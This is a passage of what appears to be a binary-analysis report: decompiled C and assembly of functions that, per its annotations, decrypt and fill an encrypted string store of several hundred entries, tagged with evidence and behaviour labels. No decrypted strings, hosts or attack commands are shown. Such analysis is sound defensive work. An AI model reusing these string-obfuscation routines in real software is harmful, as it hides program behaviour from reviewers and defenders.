  puVar2 = (undefined1 *)FUN_00417f10(1,(long)(int)param_3 + 1);
  *plVar7 = (long)puVar2;
  if (puVar2 == (undefined1 *)0x0) {
    bVar1 = 0x1f < (int)param_3;
    if (((((((param_1 != 0) || (puVar4 = &DAT_0062e5e0, bVar1)) &&
           ((param_1 != 1 || (puVar4 = &DAT_0062e5c0, bVar1)))) &&
          ((param_1 != 2 || (puVar4 = &DAT_0062e5a0, bVar1)))) &&
         (((param_1 != 3 || (puVar4 = &DAT_0062e580, bVar1)) &&
          ((((param_1 != 4 || (puVar4 = &DAT_0062e560, bVar1)) &&
            ((param_1 != 5 || (puVar4 = &DAT_0062e540, bVar1)))) &&
           ((param_1 != 6 || (puVar4 = &DAT_0062e520, bVar1)))))))) &&
        ((param_1 != 7 || (puVar4 = &DAT_0062e500, bVar1)))) &&
       (((param_1 != 8 || (puVar4 = &DAT_0062e4e0, bVar1)) &&
        ((param_1 != 9 || (puVar4 = &DAT_0062e4c0, bVar1)))))) {
      if (((0x2f < (int)param_3) || (lVar5 = (long)DAT_0062dba0, 0x2f < DAT_0062dba0)) ||
         (0x2d < param_1 - 10)) {
        *(undefined4 *)(plVar7 + 1) = 0;
        *plVar7 = (long)&DAT_0062e610;
        return param_4;
      }
      DAT_0062dba0 = DAT_0062dba0 + 1;
      puVar4 = &DAT_0062dbc0 + lVar5 * 0x30;
    }
    puVar6 = puVar4;
    for (uVar3 = (ulong)param_3; uVar3 != 0; uVar3 = uVar3 - 1) {
      *puVar6 = *param_2;
      param_2 = param_2 + (ulong)bVar8 * -2 + 1;
      puVar6 = puVar6 + (ulong)bVar8 * -2 + 1;
    }
    FUN_0040d6c6(&DAT_0062ba00,1,&DAT_0062b9e8,puVar4,puVar4,param_3);
    puVar4[(int)param_3] = 0;
    *plVar7 = (long)puVar4;
    *(uint *)(plVar7 + 1) = param_3;
  }
  else {
    for (uVar3 = (ulong)param_3; uVar3 != 0; uVar3 = uVar3 - 1) {
      *puVar2 = *param_2;
      param_2 = param_2 + (ulong)bVar8 * -2 + 1;
      puVar2 = puVar2 + (ulong)bVar8 * -2 + 1;
    }
    *(uint *)(plVar7 + 1) = param_3;
    FUN_0040d6c6(&DAT_0062ba00,1,&DAT_0062b9e8,*plVar7,*plVar7,param_3);
    *(undefined1 *)(*plVar7 + (long)(int)plVar7[1]) = 0;
  }
  return param_4;
}

Assembly · 128 instructions, 0 annotated
AddressBytesInstructionComment
0040d8fa41 57PUSH R15
0040d8fc41 56PUSH R14
0040d8fe41 55PUSH R13
0040d90041 89 fdMOV R13D,EDI
0040d903bf 01 00 00 00MOV EDI,0x1
0040d90841 54PUSH R12
0040d90a4c 63 e2MOVSXD R12,EDX
0040d90d4d 89 efMOV R15,R13
0040d91049 c1 e5 04SHL R13,0x4
0040d91455PUSH RBP
0040d9154d 89 e6MOV R14,R12
0040d91853PUSH RBX
0040d91948 89 f3MOV RBX,RSI
0040d91c49 8d 74 24 01LEA RSI,[R12 + 0x1]
0040d92151PUSH RCX
0040d9224c 03 2d c7 0d 22 00ADD R13,qword ptr [DAT_0062e6f0]
0040d929e8 e2 a5 00 00CALL FUN_00417f10
0040d92e49 89 45 00MOV qword ptr [R13],RAX
0040d93248 85 c0TEST RAX,RAX
0040d9350f 85 21 01 00 00JNZ LAB_0040da5c
0040d93b41 83 fc 1fCMP R12D,0x1f
0040d93f0f 9e c2SETLE DL
0040d94245 85 ffTEST R15D,R15D
0040d94575 0fJNZ LAB_0040d956
0040d94748 8d 2d 92 0c 22 00LEA RBP,[DAT_0062e5e0]
0040d94e84 d2TEST DL,DL
0040d9500f 85 45 01 00 00JNZ LAB_0040da9b
LAB_0040d956:
0040d95641 83 ff 01CMP R15D,0x1
0040d95a75 0fJNZ LAB_0040d96b
0040d95c48 8d 2d 5d 0c 22 00LEA RBP,[DAT_0062e5c0]
0040d96384 d2TEST DL,DL
0040d9650f 85 30 01 00 00JNZ LAB_0040da9b
LAB_0040d96b:
0040d96b41 83 ff 02CMP R15D,0x2
0040d96f75 0fJNZ LAB_0040d980
0040d97148 8d 2d 28 0c 22 00LEA RBP,[DAT_0062e5a0]
0040d97884 d2TEST DL,DL
0040d97a0f 85 1b 01 00 00JNZ LAB_0040da9b
LAB_0040d980:
0040d98041 83 ff 03CMP R15D,0x3
0040d98475 0fJNZ LAB_0040d995
0040d98648 8d 2d f3 0b 22 00LEA RBP,[DAT_0062e580]
0040d98d84 d2TEST DL,DL
0040d98f0f 85 06 01 00 00JNZ LAB_0040da9b
LAB_0040d995:
0040d99541 83 ff 04CMP R15D,0x4
0040d99975 0fJNZ LAB_0040d9aa
0040d99b48 8d 2d be 0b 22 00LEA RBP,[DAT_0062e560]
0040d9a284 d2TEST DL,DL
0040d9a40f 85 f1 00 00 00JNZ LAB_0040da9b
LAB_0040d9aa:
0040d9aa41 83 ff 05CMP R15D,0x5
0040d9ae75 0fJNZ LAB_0040d9bf
0040d9b048 8d 2d 89 0b 22 00LEA RBP,[DAT_0062e540]
0040d9b784 d2TEST DL,DL
0040d9b90f 85 dc 00 00 00JNZ LAB_0040da9b
LAB_0040d9bf:
0040d9bf41 83 ff 06CMP R15D,0x6
0040d9c375 0fJNZ LAB_0040d9d4
0040d9c548 8d 2d 54 0b 22 00LEA RBP,[DAT_0062e520]
0040d9cc84 d2TEST DL,DL
0040d9ce0f 85 c7 00 00 00JNZ LAB_0040da9b
LAB_0040d9d4:
0040d9d441 83 ff 07CMP R15D,0x7
0040d9d875 0fJNZ LAB_0040d9e9
0040d9da48 8d 2d 1f 0b 22 00LEA RBP,[DAT_0062e500]
0040d9e184 d2TEST DL,DL
0040d9e30f 85 b2 00 00 00JNZ LAB_0040da9b
LAB_0040d9e9:
0040d9e941 83 ff 08CMP R15D,0x8
0040d9ed75 0fJNZ LAB_0040d9fe
0040d9ef48 8d 2d ea 0a 22 00LEA RBP,[DAT_0062e4e0]
0040d9f684 d2TEST DL,DL
0040d9f80f 85 9d 00 00 00JNZ LAB_0040da9b
LAB_0040d9fe:
0040d9fe41 83 ff 09CMP R15D,0x9
0040da0275 0fJNZ LAB_0040da13
0040da0448 8d 2d b5 0a 22 00LEA RBP,[DAT_0062e4c0]
0040da0b84 d2TEST DL,DL
0040da0d0f 85 88 00 00 00JNZ LAB_0040da9b
LAB_0040da13:
0040da1341 83 fe 2fCMP R14D,0x2f
0040da177f 2eJG LAB_0040da47
0040da1948 63 2d 80 01 22 00MOVSXD RBP,dword ptr [DAT_0062dba0]
0040da2083 fd 2fCMP EBP,0x2f
0040da237f 22JG LAB_0040da47
0040da2541 8d 47 f6LEA EAX,[R15 + -0xa]
0040da2983 f8 2dCMP EAX,0x2d
0040da2c77 19JA LAB_0040da47
0040da2e8d 45 01LEA EAX,[RBP + 0x1]
0040da3148 6b ed 30IMUL RBP,RBP,0x30
0040da3589 05 65 01 22 00MOV dword ptr [DAT_0062dba0],EAX
0040da3b48 8d 05 7e 01 22 00LEA RAX,[DAT_0062dbc0]
0040da4248 01 c5ADD RBP,RAX
0040da45eb 54JMP LAB_0040da9b
LAB_0040da47:
0040da4748 8d 05 c2 0b 22 00LEA RAX,[DAT_0062e610]
0040da4e41 c7 45 08 00 00 00 00MOV dword ptr [R13 + 0x8],0x0
0040da5649 89 45 00MOV qword ptr [R13],RAX
0040da5aeb 79JMP LAB_0040dad5
LAB_0040da5c:
0040da5c48 89 c7MOV RDI,RAX
0040da5f44 89 e1MOV ECX,R12D
0040da6248 89 deMOV RSI,RBX
0040da6545 89 e1MOV R9D,R12D
0040da68f3 a4MOVSB.REP RDI,RSI
0040da6a45 89 65 08MOV dword ptr [R13 + 0x8],R12D
0040da6ebe 01 00 00 00MOV ESI,0x1
0040da7348 8d 15 6e df 21 00LEA RDX,[DAT_0062b9e8]
0040da7a48 8d 3d 7f df 21 00LEA RDI,[DAT_0062ba00]
0040da8149 8b 4d 00MOV RCX,qword ptr [R13]
0040da8549 89 c8MOV R8,RCX
0040da88e8 39 fc ff ffCALL FUN_0040d6c6
0040da8d49 63 45 08MOVSXD RAX,dword ptr [R13 + 0x8]
0040da9149 8b 55 00MOV RDX,qword ptr [R13]
0040da95c6 04 02 00MOV byte ptr [RDX + RAX*0x1],0x0
0040da99eb 3aJMP LAB_0040dad5
LAB_0040da9b:
0040da9b44 89 f1MOV ECX,R14D
0040da9e48 89 efMOV RDI,RBP
0040daa148 89 deMOV RSI,RBX
0040daa445 89 f1MOV R9D,R14D
0040daa7f3 a4MOVSB.REP RDI,RSI
0040daa949 89 e8MOV R8,RBP
0040daac48 89 e9MOV RCX,RBP
0040daaf48 8d 15 32 df 21 00LEA RDX,[DAT_0062b9e8]
0040dab6be 01 00 00 00MOV ESI,0x1
0040dabb48 8d 3d 3e df 21 00LEA RDI,[DAT_0062ba00]
0040dac2e8 ff fb ff ffCALL FUN_0040d6c6
0040dac742 c6 44 25 00 00MOV byte ptr [RBP + R12*0x1],0x0
0040dacd49 89 6d 00MOV qword ptr [R13],RBP
0040dad145 89 75 08MOV dword ptr [R13 + 0x8],R14D
LAB_0040dad5:
0040dad558POP RAX
0040dad65bPOP RBX
0040dad75dPOP RBP
0040dad841 5cPOP R12
0040dada41 5dPOP R13
0040dadc41 5ePOP R14
0040dade41 5fPOP R15
0040dae0c3RET

adds and decrypts an entry of the…

0x40dae1141 bytes
undefined FUN_0040dae1()

adds and decrypts an entry of the second store table at 0x62e640

Cited as
E2
Behaviours
B1
Called from
FUN_0040dba0
Calls
FUN_0040d6c6, FUN_00417f10
Decompiled C · 35 lines
void FUN_0040dae1(int param_1,undefined1 *param_2,uint param_3)

{
  undefined1 *puVar1;
  ulong uVar2;
  long lVar3;
  long *plVar4;
  undefined1 *puVar5;
  byte bVar6;
  
  bVar6 = 0;
  lVar3 = (long)param_1 * 0x10;
  puVar1 = (undefined1 *)FUN_00417f10(1,(long)(int)param_3 + 1);
  uVar2 = (ulong)param_3;
  plVar4 = (long *)(&DAT_0062e640 + lVar3);
  *plVar4 = (long)puVar1;
  if (puVar1 == (undefined1 *)0x0) {
    *(undefined4 *)(&DAT_0062e648 + lVar3) = 0;
    *plVar4 = (long)&DAT_0062e610;
  }
  else {
    *(uint *)(&DAT_0062e648 + lVar3) = param_3;
    puVar5 = puVar1;
    for (; uVar2 != 0; uVar2 = uVar2 - 1) {
      *puVar5 = *param_2;
      param_2 = param_2 + (ulong)bVar6 * -2 + 1;
      puVar5 = puVar5 + (ulong)bVar6 * -2 + 1;
    }
    FUN_0040d6c6(&DAT_0062ba00,1,&DAT_0062b9e8,puVar1);
    *(undefined1 *)(*plVar4 + (long)*(int *)(&DAT_0062e648 + lVar3)) = 0;
  }
  return;
}

Assembly · 39 instructions, 0 annotated
AddressBytesInstructionComment
0040dae155PUSH RBP
0040dae248 89 f5MOV RBP,RSI
0040dae548 63 f2MOVSXD RSI,EDX
0040dae853PUSH RBX
0040dae948 63 dfMOVSXD RBX,EDI
0040daecbf 01 00 00 00MOV EDI,0x1
0040daf148 c1 e3 04SHL RBX,0x4
0040daf548 83 ec 18SUB RSP,0x18
0040daf989 74 24 0cMOV dword ptr [RSP + local_1c],ESI
0040dafd48 ff c6INC RSI
0040db00e8 0b a4 00 00CALL FUN_00417f10
0040db0544 8b 4c 24 0cMOV R9D,dword ptr [RSP + local_1c]
0040db0a49 89 c0MOV R8,RAX
0040db0d48 8d 05 2c 0b 22 00LEA RAX,[DAT_0062e640]
0040db1448 01 c3ADD RBX,RAX
0040db174d 85 c0TEST R8,R8
0040db1a4c 89 03MOV qword ptr [RBX],R8
0040db1d75 13JNZ LAB_0040db32
0040db1f48 8d 05 ea 0a 22 00LEA RAX,[DAT_0062e610]
0040db26c7 43 08 00 00 00 00MOV dword ptr [RBX + 0x8],0x0
0040db2d48 89 03MOV qword ptr [RBX],RAX
0040db30eb 35JMP LAB_0040db67
LAB_0040db32:
0040db3244 89 c9MOV ECX,R9D
0040db354c 89 c7MOV RDI,R8
0040db3848 89 eeMOV RSI,RBP
0040db3b44 89 4b 08MOV dword ptr [RBX + 0x8],R9D
0040db3ff3 a4MOVSB.REP RDI,RSI
0040db4148 8d 15 a0 de 21 00LEA RDX,[DAT_0062b9e8]
0040db484c 89 c1MOV RCX,R8
0040db4bbe 01 00 00 00MOV ESI,0x1
0040db5048 8d 3d a9 de 21 00LEA RDI,[DAT_0062ba00]
0040db57e8 6a fb ff ffCALL FUN_0040d6c6
0040db5c48 63 43 08MOVSXD RAX,dword ptr [RBX + 0x8]
0040db6048 8b 13MOV RDX,qword ptr [RBX]
0040db63c6 04 02 00MOV byte ptr [RDX + RAX*0x1],0x0
LAB_0040db67:
0040db6748 83 c4 18ADD RSP,0x18
0040db6b5bPOP RBX
0040db6c5dPOP RBP
0040db6dc3RET

fills the 476-slot string store with…

0x40dba010884 bytes
undefined FUN_0040dba0()

fills the 476-slot string store with 473 encrypted entries

Cited as
E2
Behaviours
B1
Called from
FUN_004001d0
Calls
FUN_0040b083, FUN_0040d8fa, FUN_0040dae1, FUN_00417f10
Decompiled C · 558 lines
/* WARNING: Globals starting with '_' overlap smaller symbols at the same address */

void FUN_0040dba0(void)

{
  int *piVar1;
  uint uVar2;
  uint uVar3;
  long lVar4;
  ulong uVar5;
  ulong uVar6;
  undefined1 *puVar7;
  undefined1 *puVar8;
  undefined4 *puVar9;
  undefined1 *puVar10;
  int iVar11;
  byte bVar12;
  
  bVar12 = 0;
  DAT_0062dba0 = 0;
  DAT_0062e6f0 = (undefined4 *)FUN_00417f10(0x1dc,0x10);
  if (DAT_0062e6f0 == (undefined4 *)0x0) {
    DAT_0062e6f0 = &DAT_0062bde0;
    puVar9 = &DAT_0062bde0;
    for (lVar4 = 0x770; lVar4 != 0; lVar4 = lVar4 + -1) {
      *puVar9 = 0;
      puVar9 = puVar9 + (ulong)bVar12 * -2 + 1;
    }
  }
  FUN_0040d8fa(0,&DAT_00426f30,0x18);
  FUN_0040d8fa(1,&DAT_00426f30,0x18);
  FUN_0040d8fa(2,&DAT_00426f30,0x18);
  FUN_0040d8fa(3,&DAT_00426f30,0x18);
  FUN_0040d8fa(4,&DAT_00426f30,0x18);
  FUN_0040d8fa(5,&DAT_00426f30,0x18);
  FUN_0040d8fa(6,&DAT_00426f30,0x18);
  FUN_0040d8fa(7,&DAT_00426f30,0x18);
  FUN_0040d8fa(8,&DAT_00426f49,0xc);
  FUN_0040d8fa(9,&DAT_00428226,0x12);
  FUN_0040d8fa(10,&DAT_00426f56,0x17);
  FUN_0040d8fa(0xb,&DAT_00426f6e,0x1b);
  FUN_0040d8fa(0xc,&DAT_00426f8a,0xc);
  FUN_0040d8fa(0xd,&DAT_00426f97,7);
  FUN_0040d8fa(0xe,&DAT_00426f9f,0x18);
  FUN_0040d8fa(0xf,&DAT_00426fb8,0x1a);
  FUN_0040d8fa(0x10,&DAT_00426fd3,0x11);
  FUN_0040d8fa(0x11,&DAT_00427519,1);
  FUN_0040d8fa(0x12,&DAT_00426fe5,4);
  FUN_0040d8fa(0x13,&DAT_00426fea,0xe);
  FUN_0040d8fa(0x14,&DAT_00426ff9,0x28);
  FUN_0040d8fa(0x15,&DAT_00427022,0x28);
  FUN_0040d8fa(0x16,&DAT_0042704b,8);
  FUN_0040d8fa(0x17,&DAT_00427054,8);
  FUN_0040d8fa(0x18,&DAT_0042705d,2);
  FUN_0040d8fa(0x19,&DAT_00427060,3);
  FUN_0040d8fa(0x1a,&DAT_00427064,3);
  FUN_0040d8fa(0x1b,&DAT_00427068,3);
  FUN_0040d8fa(0x1c,&DAT_0042706c,3);
  FUN_0040d8fa(0x1d,&DAT_00427070,3);
  FUN_0040d8fa(0x1e,&DAT_00427074,3);
  FUN_0040d8fa(0x1f,&DAT_00427078,3);
  FUN_0040d8fa(0x20,&DAT_0042707c,3);
  FUN_0040d8fa(0x21,&DAT_00427080,4);
  FUN_0040d8fa(0x22,&DAT_00427085,4);
  FUN_0040d8fa(0x23,&DAT_0042708a,4);
  FUN_0040d8fa(0x24,&DAT_0042708f,4);
  FUN_0040d8fa(0x25,&DAT_00427094,4);
  FUN_0040d8fa(0x26,&DAT_00427099,4);
  FUN_0040d8fa(0x27,&DAT_0042709e,4);
  FUN_0040d8fa(0x28,&DAT_004270a3,4);
  FUN_0040d8fa(0x29,&DAT_004270a8,4);
  FUN_0040d8fa(0x2a,&DAT_004270ad,4);
  FUN_0040d8fa(0x2b,&DAT_004270b2,4);
  FUN_0040d8fa(0x2c,&DAT_004270b7,4);
  FUN_0040d8fa(0x2d,&DAT_004270bc,4);
  FUN_0040d8fa(0x2e,&DAT_004270c1,4);
  FUN_0040d8fa(0x2f,&DAT_004270c6,4);
  FUN_0040d8fa(0x30,&DAT_004270cb,4);
  FUN_0040d8fa(0x31,&DAT_004270d0,4);
  FUN_0040d8fa(0x32,&DAT_004270d5,4);
  FUN_0040d8fa(0x33,&DAT_004270da,4);
  FUN_0040d8fa(0x34,&DAT_004270df,4);
  FUN_0040d8fa(0x35,&DAT_004270e4,4);
  FUN_0040d8fa(0x36,&DAT_004270e9,4);
  FUN_0040d8fa(0x37,&DAT_004270ee,4);
  FUN_0040d8fa(0x38,&DAT_004270f3,6);
  FUN_0040d8fa(0x39,&DAT_004270fa,9);
  FUN_0040d8fa(0x3a,&DAT_00427104,9);
  FUN_0040d8fa(0x3b,&DAT_0042710e,6);
  FUN_0040d8fa(0x3c,&DAT_00427115,7);
  FUN_0040dae1(0,&DAT_0042711d,0x11);
  FUN_0040dae1(1,&DAT_0042712f,0xf);
  FUN_0040dae1(2,&DAT_0042713f,0x17);
  FUN_0040dae1(3,&DAT_00427157,0x19);
  FUN_0040dae1(4,&DAT_00427171,0x11);
  FUN_0040dae1(5,&DAT_00427183,0xd);
  FUN_0040dae1(6,&DAT_00428239,0x38);
  FUN_0040dae1(7,&DAT_00427191,0x18);
  FUN_0040dae1(8,&DAT_004271aa,0x20);
  FUN_0040dae1(9,&DAT_004271cb,0xf);
  FUN_0040dae1(10,&DAT_004271db,0x11);
  _DAT_0062e620 = _DAT_0062e640;
  uRam000000000062e624 = uRam000000000062e644;
  uRam000000000062e628 = _DAT_0062e648;
  uRam000000000062e62c = uRam000000000062e64c;
  FUN_0040d8fa(0x3e,&DAT_004271ed,0x20);
  FUN_0040d8fa(0x3f,&DAT_0042720e,6);
  FUN_0040d8fa(0x40,&DAT_00427215,5);
  FUN_0040d8fa(0x41,&DAT_0042721b,6);
  FUN_0040d8fa(0x42,&DAT_00427222,5);
  FUN_0040d8fa(0x43,&DAT_00427228,6);
  FUN_0040d8fa(0x44,&DAT_0042722f,9);
  FUN_0040d8fa(0x45,&DAT_00427239,9);
  FUN_0040d8fa(0x46,&DAT_00427243,10);
  FUN_0040d8fa(0x47,&DAT_0042724e,9);
  FUN_0040d8fa(0x48,&DAT_00427258,5);
  FUN_0040d8fa(0x49,&DAT_0042725e,4);
  FUN_0040d8fa(0x4a,&DAT_00427263,4);
  FUN_0040d8fa(0x4b,&DAT_00427268,4);
  FUN_0040d8fa(0x4c,&DAT_0042726d,4);
  FUN_0040d8fa(0x4d,&DAT_00427272,4);
  FUN_0040d8fa(0x4e,&DAT_00427277,4);
  FUN_0040d8fa(0x4f,&DAT_0042727c,4);
  FUN_0040d8fa(0x50,&DAT_00427281,5);
  FUN_0040d8fa(0x51,&DAT_00427287,5);
  FUN_0040d8fa(0x52,&DAT_0042728d,0xf);
  FUN_0040d8fa(0x53,&DAT_0042728d,0xf);
  FUN_0040d8fa(0x54,&DAT_0042729d,9);
  FUN_0040d8fa(0x55,&DAT_004272a7,10);
  FUN_0040d8fa(0x56,&DAT_004272b2,8);
  FUN_0040d8fa(0x57,&DAT_004272bb,0xd);
  FUN_0040d8fa(0x58,&DAT_004272c9,5);
  FUN_0040d8fa(0x59,&DAT_004272cf,8);
  FUN_0040d8fa(0x5a,&DAT_004272d8,10);
  FUN_0040d8fa(0x5b,&DAT_004272e3,9);
  FUN_0040d8fa(0x5c,&DAT_004272ed,8);
  FUN_0040d8fa(0x5d,&DAT_004272f6,8);
  FUN_0040d8fa(0x5e,&DAT_004272ff,9);
  FUN_0040d8fa(0x5f,&DAT_00427309,9);
  FUN_0040d8fa(0x60,&DAT_00427313,10);
  FUN_0040d8fa(0x61,&DAT_0042731e,0xb);
  FUN_0040d8fa(0x62,&DAT_0042732a,9);
  FUN_0040d8fa(99,&DAT_00427334,10);
  FUN_0040d8fa(100,&DAT_0042733f,7);
  FUN_0040d8fa(0x65,&DAT_00427347,5);
  FUN_0040d8fa(0x66,&DAT_0042734d,9);
  FUN_0040d8fa(0x67,&DAT_00427357,7);
  FUN_0040d8fa(0x68,&DAT_0042735f,8);
  FUN_0040d8fa(0x69,&DAT_00427368,0xe);
  FUN_0040d8fa(0x6a,&DAT_00427377,0xf);
  FUN_0040d8fa(0x6b,&DAT_00427387,9);
  FUN_0040d8fa(0x6c,&DAT_00427391,0x1d);
  FUN_0040d8fa(0x6d,&DAT_004273af,7);
  FUN_0040d8fa(0x6e,&DAT_004273b7,0xe);
  FUN_0040d8fa(0x6f,&DAT_004273c6,0x11);
  FUN_0040d8fa(0x70,&DAT_004273d8,0x14);
  FUN_0040d8fa(0x71,&DAT_004273ed,6);
  FUN_0040d8fa(0x72,&DAT_004273f4,0xd);
  FUN_0040d8fa(0x73,&DAT_00427402,0xe);
  FUN_0040d8fa(0x74,&DAT_00427411,0xe);
  FUN_0040d8fa(0x75,&DAT_00427420,7);
  FUN_0040d8fa(0x76,&DAT_00427428,6);
  FUN_0040d8fa(0x77,&DAT_0042742f,7);
  FUN_0040d8fa(0x78,&DAT_00427437,6);
  FUN_0040d8fa(0x79,&DAT_0042743e,6);
  FUN_0040d8fa(0x7a,&DAT_00427445,6);
  FUN_0040d8fa(0x7b,&DAT_0042744c,6);
  FUN_0040d8fa(0x7c,&DAT_00427453,6);
  FUN_0040d8fa(0x7d,&DAT_0042745a,6);
  FUN_0040d8fa(0x7e,&DAT_00427461,7);
  FUN_0040d8fa(0x7f,&DAT_00427469,8);
  FUN_0040d8fa(0x80,&DAT_00427472,6);
  FUN_0040d8fa(0x81,&DAT_00427479,10);
  FUN_0040d8fa(0x82,&DAT_00427484,10);
  FUN_0040d8fa(0x83,&DAT_0042748f,10);
  FUN_0040d8fa(0x84,&DAT_0042749a,0xc);
  FUN_0040d8fa(0x85,&DAT_004274a7,0xc);
  FUN_0040d8fa(0x86,&DAT_004274b4,10);
  FUN_0040d8fa(0x87,&DAT_004274bf,5);
  FUN_0040d8fa(0x88,&DAT_004274c5,8);
  FUN_0040d8fa(0x89,&DAT_004274ce,9);
  FUN_0040d8fa(0x8a,&DAT_00428272,10);
  FUN_0040d8fa(0x8b,&DAT_004274d8,10);
  FUN_0040d8fa(0x8c,&DAT_004274e3,5);
  FUN_0040d8fa(0x8d,&DAT_004274e9,8);
  FUN_0040d8fa(0x8e,&DAT_004274f2,10);
  FUN_0040d8fa(0x8f,&DAT_004274fd,6);
  FUN_0040d8fa(0x90,&DAT_0042827d,5);
  FUN_0040d8fa(0x91,&DAT_00427504,0xb);
  FUN_0040d8fa(0x92,&DAT_00427510,10);
  FUN_0040d8fa(0x93,&DAT_0042751b,7);
  FUN_0040d8fa(0x94,&DAT_00427523,7);
  FUN_0040d8fa(0x95,&DAT_0042752b,8);
  FUN_0040d8fa(0x96,&DAT_00427534,8);
  FUN_0040d8fa(0x97,&DAT_0042753d,3);
  FUN_0040d8fa(0x98,&DAT_00427541,0xc);
  FUN_0040d8fa(0x99,&DAT_00428283,0xb);
  FUN_0040d8fa(0x9a,&DAT_0042754e,8);
  FUN_0040d8fa(0x9b,&DAT_00427557,0x10);
  FUN_0040d8fa(0x9c,&DAT_00427568,9);
  FUN_0040d8fa(0x9d,&DAT_00427572,0x10);
  FUN_0040d8fa(0x9e,&DAT_00427583,5);
  FUN_0040d8fa(0x9f,&DAT_00427589,0x10);
  FUN_0040d8fa(0xa0,&DAT_0042759a,0x10);
  FUN_0040d8fa(0xa1,&DAT_004275ab,8);
  FUN_0040d8fa(0xa2,&DAT_004275b4,0xe);
  FUN_0040d8fa(0xa3,&DAT_004275c3,6);
  FUN_0040d8fa(0xa4,&DAT_004275ca,5);
  FUN_0040d8fa(0xa5,&DAT_004275d0,7);
  FUN_0040d8fa(0xa6,&DAT_004275d8,10);
  FUN_0040d8fa(0xa7,&DAT_004275e3,6);
  FUN_0040d8fa(0xa8,&DAT_004275ea,6);
  FUN_0040d8fa(0xa9,&DAT_004275f1,6);
  FUN_0040d8fa(0xaa,&DAT_004275f8,6);
  FUN_0040d8fa(0xab,&DAT_004275ff,6);
  FUN_0040d8fa(0xac,&DAT_00427606,8);
  FUN_0040d8fa(0xad,&DAT_0042760f,7);
  FUN_0040d8fa(0xae,&DAT_00427617,6);
  FUN_0040d8fa(0xaf,&DAT_0042761e,9);
  FUN_0040d8fa(0xb0,&DAT_00427628,8);
  FUN_0040d8fa(0xb1,&DAT_00427631,6);
  FUN_0040d8fa(0xb2,&DAT_00427638,7);
  FUN_0040d8fa(0xb3,&DAT_00427640,8);
  FUN_0040d8fa(0xb4,&DAT_00427649,5);
  FUN_0040d8fa(0xb5,&DAT_0042764f,9);
  FUN_0040d8fa(0xb6,&DAT_004274c5,8);
  FUN_0040d8fa(0xb7,&DAT_00427659,5);
  FUN_0040d8fa(0xb8,&DAT_0042765f,8);
  FUN_0040d8fa(0xb9,&DAT_00427668,6);
  FUN_0040d8fa(0xba,&DAT_0042766f,7);
  FUN_0040d8fa(0xbb,&DAT_00427677,10);
  FUN_0040d8fa(0xbc,&DAT_00427682,7);
  FUN_0040d8fa(0xbd,&DAT_0042768a,5);
  FUN_0040d8fa(0xbe,&DAT_00427690,0xb);
  FUN_0040d8fa(0xc0,&DAT_0042769c,0xd);
  FUN_0040d8fa(0xc1,&DAT_004276aa,7);
  FUN_0040d8fa(0xc2,&DAT_004276b2,5);
  FUN_0040d8fa(0xc3,&DAT_004276b8,3);
  FUN_0040d8fa(0xc4,&DAT_004276bd,4);
  FUN_0040d8fa(0xc5,&DAT_004276c3,4);
  FUN_0040d8fa(0xc6,&DAT_004276c9,5);
  FUN_0040d8fa(199,&DAT_004276d0,4);
  FUN_0040d8fa(200,&DAT_004276d6,4);
  FUN_0040d8fa(0xc9,&DAT_004276dc,4);
  FUN_0040d8fa(0xca,&DAT_004276e2,8);
  FUN_0040d8fa(0xcb,&DAT_004276eb,3);
  FUN_0040d8fa(0xcc,&DAT_004276f0,3);
  FUN_0040d8fa(0xcd,&DAT_004276f4,7);
  FUN_0040d8fa(0xcf,&DAT_004276fc,4);
  FUN_0040d8fa(0xce,&DAT_0042742f,7);
  FUN_0040d8fa(0xd0,&DAT_00427701,8);
  FUN_0040d8fa(0xd1,&DAT_0042770a,5);
  FUN_0040d8fa(0xd2,&DAT_00427710,4);
  FUN_0040d8fa(0xd3,&DAT_00427715,0xb);
  FUN_0040d8fa(0xd4,&DAT_00427721,6);
  FUN_0040d8fa(0xd5,&DAT_00427728,8);
  FUN_0040d8fa(0xd6,&DAT_00427731,0xf);
  FUN_0040d8fa(0xd7,&DAT_00427741,0xe);
  FUN_0040d8fa(0xd8,&DAT_0042728d,0xf);
  FUN_0040d8fa(0xd9,&DAT_00427750,6);
  FUN_0040d8fa(0xda,&DAT_00427757,5);
  FUN_0040d8fa(0xdb,&DAT_0042775d,5);
  FUN_0040d8fa(0xdc,&DAT_00427763,9);
  FUN_0040d8fa(0xdd,&DAT_00427763,9);
  FUN_0040d8fa(0xde,&DAT_0042776d,0xd);
  FUN_0040d8fa(0xdf,&DAT_0042777b,0xd);
  FUN_0040d8fa(0xe0,&DAT_00427789,0xd);
  FUN_0040d8fa(0xe1,&DAT_00427797,5);
  FUN_0040d8fa(0xe2,&DAT_0042779d,0xd);
  FUN_0040d8fa(0xe3,&DAT_004277ab,0x12);
  FUN_0040d8fa(0xe4,&DAT_004277be,9);
  FUN_0040d8fa(0xe5,&DAT_004277c8,0x13);
  FUN_0040d8fa(0xe6,&DAT_004277dc,7);
  FUN_0040d8fa(0xe7,&DAT_004277e4,7);
  FUN_0040d8fa(0xe8,&DAT_004277ec,6);
  FUN_0040d8fa(0xe9,&DAT_004277f3,5);
  FUN_0040d8fa(0xea,&DAT_004277f9,8);
  FUN_0040d8fa(0xeb,&DAT_00427802,7);
  FUN_0040d8fa(0xec,&DAT_0042780a,5);
  FUN_0040d8fa(0xed,&DAT_00427810,6);
  FUN_0040d8fa(0xee,&DAT_00427817,7);
  FUN_0040d8fa(0xef,&DAT_00426c2a,1);
  FUN_0040d8fa(0xf0,&DAT_0042781f,4);
  FUN_0040d8fa(0xf1,&DAT_00427824,4);
  FUN_0040d8fa(0xf2,&DAT_00427829,4);
  FUN_0040d8fa(0xf3,&DAT_0042782e,3);
  FUN_0040d8fa(0xf4,&DAT_00427832,4);
  FUN_0040d8fa(0xf5,&DAT_00427837,4);
  FUN_0040d8fa(0xf6,&DAT_0042783c,6);
  FUN_0040d8fa(0xf7,&DAT_00427843,5);
  FUN_0040d8fa(0xf8,&DAT_00427849,4);
  FUN_0040d8fa(0xf9,&DAT_0042784e,4);
  FUN_0040d8fa(0xfa,&DAT_00427853,5);
  FUN_0040d8fa(0xfb,&DAT_00427859,7);
  FUN_0040d8fa(0xfd,&DAT_00427861,9);
  FUN_0040d8fa(0xfe,&DAT_0042786b,9);
  FUN_0040d8fa(0xff,&DAT_00427875,8);
  FUN_0040d8fa(0x100,&DAT_0042787e,8);
  FUN_0040d8fa(0x101,&DAT_00427887,9);
  FUN_0040d8fa(0x102,&DAT_00427891,2);
  FUN_0040d8fa(0x103,&DAT_00427894,4);
  FUN_0040d8fa(0x104,&DAT_00427899,4);
